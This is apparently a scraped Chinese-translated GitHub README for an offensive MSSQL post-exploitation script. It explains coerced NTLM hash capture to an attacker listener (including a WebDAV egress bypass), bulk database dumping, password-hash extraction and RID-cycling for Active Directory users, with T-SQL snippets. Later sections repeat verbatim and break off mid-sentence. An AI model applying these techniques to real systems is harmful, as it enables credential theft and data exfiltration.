tralsesec/EnumMSSQL
GitHub: tralsesec/EnumMSSQL
一款军用级 MSSQL 后渗透枚举脚本,用于自动化数据库服务器的权限提升、数据提取和威胁分析。
Stars: 1 | Forks: 0
# 枚举 MSSQL
**EnumMSSQL** 是一个经过武器化、军用级、独立的 Bash 包装器,用于 `impacket-mssqlclient`。它旨在自动化 MSSQL 后渗透生命周期,将标准枚举转变为高度可视化、零依赖的工作流。
它处理终端布局修复、后台监听器管理(Responder)、端口审计以及类似 LinPEAS 风格的彩色输出,以便快速识别权限提升向量。
该工具最初是作为我个人作业和 CTF 工作流程的私有工具开发的。我决定将其开源,以简化社区的 MSSQL 后渗透工作流程。
## 🎯 功能特性
* **幽灵猎手:** 动态映射链接服务器,并利用 `TRY...CATCH` 块和 RPC 调用来测试远程执行能力,并识别可供欺骗的“幽灵” DNS 条目。
* **三重威胁哈希捕获:** 自动启动一个后台 `Responder` 实例,安全隔离其数据库以防止“哈希跳过”,并尝试通过 **SMB (445)** 和 **WebDAV (80)** 进行强制 NTLM 认证,以绕过严格的出口防火墙。
* **自动转储 (`--dump`):** 利用未记录的存储过程 (`sp_MSforeachdb` / `sp_MSforeachtable`) 绕过 T-SQL 游标限制,将每个非系统数据库中的每个表无缝提取到本地平面文件中。
* **可视化威胁解析:** 积极过滤 Impacket 的原始 TDS 行集输出并对结果进行颜色编码。高价值的权限提升向量(例如,`is_trustworthy_on`、`xp_cmdshell`、`sysadmin`)以 **红色** 突出显示,而系统默认值则以 **黄色** 弱化显示。
* **启动前端口审计:** 在启动监听器之前,主动扫描本地主机以查找冲突的套接字(端口 80/443/445),允许你即时选择性地终止阻塞进程。
* **终端自修复:** 自动恢复 TTY 状态 (`stty sane / onlcr`),以防止由重叠的后台进程引起的可怕的“阶梯”格式损坏。
## 📦 依赖项
此工具依赖于 Kali Linux/Parrot OS 上原生可用的标准攻击性安全软件包:
* `impacket-mssqlclient`(或 `mssqlclient.py`)
* `responder`
* 标准 Linux 工具:`ss`、`awk`、`sed`、`grep`
## 🚀 用法
```
Usage: enum-mssql.sh -u -p -r -l [options]
Required:
-u, --user Username for MSSQL authentication
-p, --pass Password for MSSQL authentication
-r, --rhost Target IP or Hostname
-l, --lhost Local IP or Interface (e.g., tun0) for hash capture
Optional:
-d, --domain Domain name (Leave blank for local SQL auth)
-P, --rport Target MSSQL Port (Default: 1433)
-w, --windows-auth Use Windows Authentication
-D, --dump DUMP MODE: Extract all non-system databases to enum-mssql.dump
-h, --help Show the help menu
```
### 示例
**标准本地 SQL 认证:**
```
enum-mssql.sh -u SQLGuest -p 'zDPBpaF4FywlqIv11vii' -r 10.129.46.200 -l tun0
```
**Active Directory / Windows 认证:**
```
enum-mssql.sh -d MEGACORP -u sql_svc -p 'Winter2026!' -r 10.10.10.50 -l 10.10.14.5 -w
```
**数据库转储模式(提取所有自定义表):**
```
enum-mssql.sh -u sa -p 'SuperSecret' -r 10.129.46.200 -l tun0 --dump
```
### 🦖 实际操作演示
## 🛡️ 执行阶段
1. **基础服务器侦察:** 版本号、主机名、当前用户映射。
2. **权限与角色:** 服务器级别权限和模拟权限。
3. **可信状态:** 映射 `is_trustworthy_on`,用于潜在的数据库所有者到 sysadmin 的权限提升。
4. **当前数据库映射:** 表提取。
5. **执行向量:** 审计本地 `xp_cmdshell` 和 OLE 自动化过程。
6. **CLR 程序集:** 搜寻自定义的、用户定义的 .NET 程序集和扩展过程。
7. **链接服务器幽灵猎手:** 审计远程链接的 RPC 执行能力和失效的 DNS 条目。
8. **战利品提取:** 将 varbinary 类型的 `password_hash` 字段转换为十六进制字符串,以便直接使用 Hashcat 破解。
9. **强制 NTLM 捕获:** 通过端口 445 和 80 执行 `xp_dirtree`、`xp_subdirs` 和 `xp_fileexist`。
10. **AD / 域账户枚举与 SID 解析:** 通过递归 RID 循环,进行语言无关的、低权限域用户搜集。
11. **深入模拟路径映射:** 探索登录账户可以显式伪装成其他身份的复杂链。
12. **数据分类:** 针对性地使用正则表达式抓取包含敏感关键字(如 `pass`、`cred`、`secret` 或 `token`)的列。
## 🧠 深入解析
### 📦 通过未记录的过程进行批量提取(转储模式)
跨整个数据库实例的标准 T-SQL 数据提取通常需要编写嵌套、笨拙的游标,管理动态 SQL 字符串,并跟踪状态 - 这个过程很容易由于执行开销过大而失败或触发防御警报。
**EnumMSSQL** 使用两个未记录的内部存储过程实现平面文件转储:`sp_MSforeachdb` 和 `sp_MSforeachtable`。
#### 1. 全局迭代器
这些过程是 Microsoft 直接内置在 `master` 数据库中用于内部管理自动化的预编译辅助循环。它们抽象掉了显式游标定义的需求:
* `sp_MSforeachdb` 使用 `?` 占位符来标记数据库名称。
* `sp_MSforeachtable` 在数据库上下文中使用 `&` 占位符(可通过 `@replacechar` 自定义)来标记表名。
#### 2. 干净的系统过滤
为了仅提取用户数据,脚本将迭代逻辑包装在一个内联的安全检查中,完全忽略默认的关键系统数据库:
```
IF ''?'' NOT IN (''master'', ''model'', ''msdb'', ''tempdb'')
```
#### 3. 绕过上下文执行限制
通过在 `sp_MSforeachtable` 的内部命令执行块中嵌入 `USE [?];`,该工具可以在循环中途动态切换数据库上下文。它打印一个清晰的终端分隔符 (`[+] TABLE: `) 并即时导出原始行,允许低权限的自动化代理在单次往返查询中提取完整的系统快照。
### 👻 链接服务器审计与“幽灵”猎捕(阶段 7)
链接服务器允许一个 MSSQL 实例对独立的远程数据库服务器执行 T-SQL 语句。如果配置错误,它们会创建巨大的横向移动向量,特别是当 `rpc` 和 `rpc out` 功能被启用时。
#### 1. 容错爬取
自动化链接服务器扫描的一个主要问题是,如果远程服务器离线,整个 T-SQL 批处理会抛出致命错误并终止执行。该工具将连接例程包装在一个隔离的 `TRY...CATCH` 块中:
```
BEGIN TRY
EXEC sp_testlinkedserver @srv;
END TRY
BEGIN CATCH
PRINT '[-] GHOST SERVER DETECTED';
END CATCH
```
这隔离了连接失败。如果一个链接失败,它会将其识别为“幽灵服务器”,表明存在一个失效的或孤立的 DNS 路由条目,该条目可能非常容易受到内部欺骗或 NetBIOS/LLMNR 劫持。
#### 2. 跨上下文执行路径
如果链接处于活动状态,该工具会尝试使用 `AT` 语法跨越执行边界:
```
EXEC ('...' ) AT [LINKED_SERVER];
```
这迫使本地 SQL 实例将有效载荷通过网络传递,并在链接配置建立的安全上下文中运行(该上下文通常默认为远程端的高权限映射,如 `sa`)。它无需在辅助机器上具有交互式 shell 即可查询远程配置状态。
### 🌐 多向量 NTLM 捕获与 WebDAV 绕过(阶段 9)
强制 MSSQL 服务器对任意外部实体进行身份验证是一种经典的后渗透技术,但由于本地配置加固或激进的网络出口过滤,依赖单一方法常常失败。
**EnumMSSQL** 通过在三种不同的扩展存储过程中链接三个不同的协议来解决这个问题。
```
[MSSQL Server]
│
├── Port 445 ──► \[\LHOST\a] ──► Standard SMB Coercion (Blocked by Firewalls)
└── Port 80 ──► \[\LHOST@80\a] ──► WebDAV Evasion (Slipped through Egress)
```
#### 1. 链式向量
该脚本针对三个独立的文件系统交互过程:
* `xp_dirtree`:设计用于列出文件夹层次结构。
* `xp_subdirs`:设计用于仅列出子目录。
* `xp_fileexist`:设计用于检查磁盘上是否存在特定文件。
如果管理员禁用或监控了其中一个的执行(例如,通过对 `xp_cmdshell` 替代方案的审计规则),该工具会自动尝试下一个可用的向量。
#### 2. 通过 WebDAV 绕过端口 445 阻止
现代企业防火墙几乎普遍阻止出站端口 445 (SMB) 流量离开数据中心。为了绕过这一点,该工具利用了 **HTTP/WebDAV 转换技巧**:
```
EXEC master..xp_dirtree '\\\\@80\\a';
```
当 Windows 解析包含 `@80` 的 UNC 路径时,底层的 `WebClnt`(WebDAV 客户端)服务将被调用。Windows 会自动将身份验证请求封装在端口 80 上的标准 HTTP `PROPFIND` 数据包中。防火墙将其视为普通 Web 流量,允许 NTLMv2 身份验证块绕过出口控制,直接发送到你的监听器。
### ❓语言无关的 RID 循环(阶段 10)
标准的 SQL 枚举脚本在现实世界的 Active Directory 环境中常常失败,因为它们依赖于像 `REDELEGATE\Administrator` 这样的硬编码名称来获取域 SID。如果管理账户已被重命名,或者系统使用本地化的语言包(例如,德语 `Domänen-Benutzer`),查询会立即失败。
**EnumMSSQL** 使用一个完美的三步 T-SQL 方法在数学上绕过了这个限制。
#### 1. 不可变锚点 (`krbtgt`)
密钥分发中心服务账户 `krbtgt` 在 Active Directory 中是完全**不可变**的。它不能被删除或重命名,并且在*所有*本地化的 Windows 安装中都保留完全相同的字符串。该脚本将此账户与 `DEFAULT_DOMAIN()` 动态配对以查询其身份:
```
DECLARE @f VARBINARY(85)=SUSER_SID(CONCAT(DEFAULT_DOMAIN(),N'\krbtgt'));
```
#### 2. 域 SID 隔离
为 `krbtgt` 返回的 Windows SID 结构是一个 28 字节的块,其中最后 4 个字节代表其相对标识符 (RID),对于 `krbtgt` 来说始终是 502(十六进制 `0x01F6`)。通过应用 `SUBSTRING`,我们截掉这最后 4 个字节,从而隔离出纯粹的 24 字节域 SID:
```
SUBSTRING(@f, 1, DATALENGTH(@f)-4)
```
#### 3. 小端十六进制重建与循环
使用递归公共表表达式 (CTE),该脚本生成一个循环,循环遍历 RID 的整数范围(500 到 9999)。因为 Windows SID 期望 RID 组件以小端格式存储在内存中,所以算法使用位移数学将整数拆分为 4 个单独的字节,并将它们附加回基础域 SID:
```
+ CONVERT(VARBINARY(1), rid & 255)
+ CONVERT(VARBINARY(1), (rid/256) & 255)
+ CONVERT(VARBINARY(1), (rid/65536) & 255)
+ CONVERT(VARBINARY(1), (rid/16777216) & 255)
```
最后,`SUSER_SNAME()` 获取这个动态构建的二进制字符串,并将其直接解析回明文用户名。
**结果:** 你完全无需管理权限、无需 `xp_cmdshell`、无需依赖 Active Directory PowerShell 模块,并且完全独立于目标操作系统语言,即可收割整个 Active Directory 用户目录。
## ⚠️ 免责声明
此工具仅用于教育目的以及授权的渗透测试 / 红队演练。作者对由本脚本引起的任何误用或损坏不承担任何责任。切勿对你不明确拥有或没有书面测试许可的基础设施运行工具。
**作者:** [tralsesec](https://github.com/tralsesec)
**许可证:** MIT
## 🛡️ 执行阶段
1. **基础服务器侦察:** 版本号、主机名、当前用户映射。
2. **权限与角色:** 服务器级别权限和模拟权限。
3. **可信状态:** 映射 `is_trustworthy_on`,用于潜在的数据库所有者到 sysadmin 的权限提升。
4. **当前数据库映射:** 表提取。
5. **执行向量:** 审计本地 `xp_cmdshell` 和 OLE 自动化过程。
6. **CLR 程序集:** 搜寻自定义的、用户定义的 .NET 程序集和扩展过程。
7. **链接服务器幽灵猎手:** 审计远程链接的 RPC 执行能力和失效的 DNS 条目。
8. **战利品提取:** 将 varbinary 类型的 `password_hash` 字段转换为十六进制字符串,以便直接使用 Hashcat 破解。
9. **强制 NTLM 捕获:** 通过端口 445 和 80 执行 `xp_dirtree`、`xp_subdirs` 和 `xp_fileexist`。
10. **AD / 域账户枚举与 SID 解析:** 通过递归 RID 循环,进行语言无关的、低权限域用户搜集。
11. **深入模拟路径映射:** 探索登录账户可以显式伪装成其他身份的复杂链。
12. **数据分类:** 针对性地使用正则表达式抓取包含敏感关键字(如 `pass`、`cred`、`secret` 或 `token`)的列。
## 🧠 深入解析
### 📦 通过未记录的过程进行批量提取(转储模式)
跨整个数据库实例的标准 T-SQL 数据提取通常需要编写嵌套、笨拙的游标,管理动态 SQL 字符串,并跟踪状态 - 这个过程很容易由于执行开销过大而失败或触发防御警报。
**EnumMSSQL** 使用两个未记录的内部存储过程实现平面文件转储:`sp_MSforeachdb` 和 `sp_MSforeachtable`。
#### 1. 全局迭代器
这些过程是 Microsoft 直接内置在 `master` 数据库中用于内部管理自动化的预编译辅助循环。它们抽象掉了显式游标定义的需求:
* `sp_MSforeachdb` 使用 `?` 占位符来标记数据库名称。
* `sp_MSforeachtable` 在数据库上下文中使用 `&` 占位符(可通过 `@replacechar` 自定义)来标记表名。
#### 2. 干净的系统过滤
为了仅提取用户数据,脚本将迭代逻辑包装在一个内联的安全检查中,完全忽略默认的关键系统数据库:
```
IF ''?'' NOT IN (''master'', ''model'', ''msdb'', ''tempdb'')
```
#### 3. 绕过上下文执行限制
通过在 `sp_MSforeachtable` 的内部命令执行块中嵌入 `USE [?];`,该工具可以在循环中途动态切换数据库上下文。它打印一个清晰的终端分隔符 (`[+] TABLE: 标签:bash 脚本, HTTP工具, impacket, Responder, SMB, SQL Server, T-SQL, WebDAV, XXE攻击, 二进制发布, 军事级别, 哈希捕获, 安全测试, 工业互联网, 应用安全, 开源工具, 提权, 插件系统, 攻击性安全, 数据库转储, 枚举, 特权提升, 端口审计, 终端修复, 网络安全, 自动化部署, 逆向工具, 错误配置检测, 隐私保护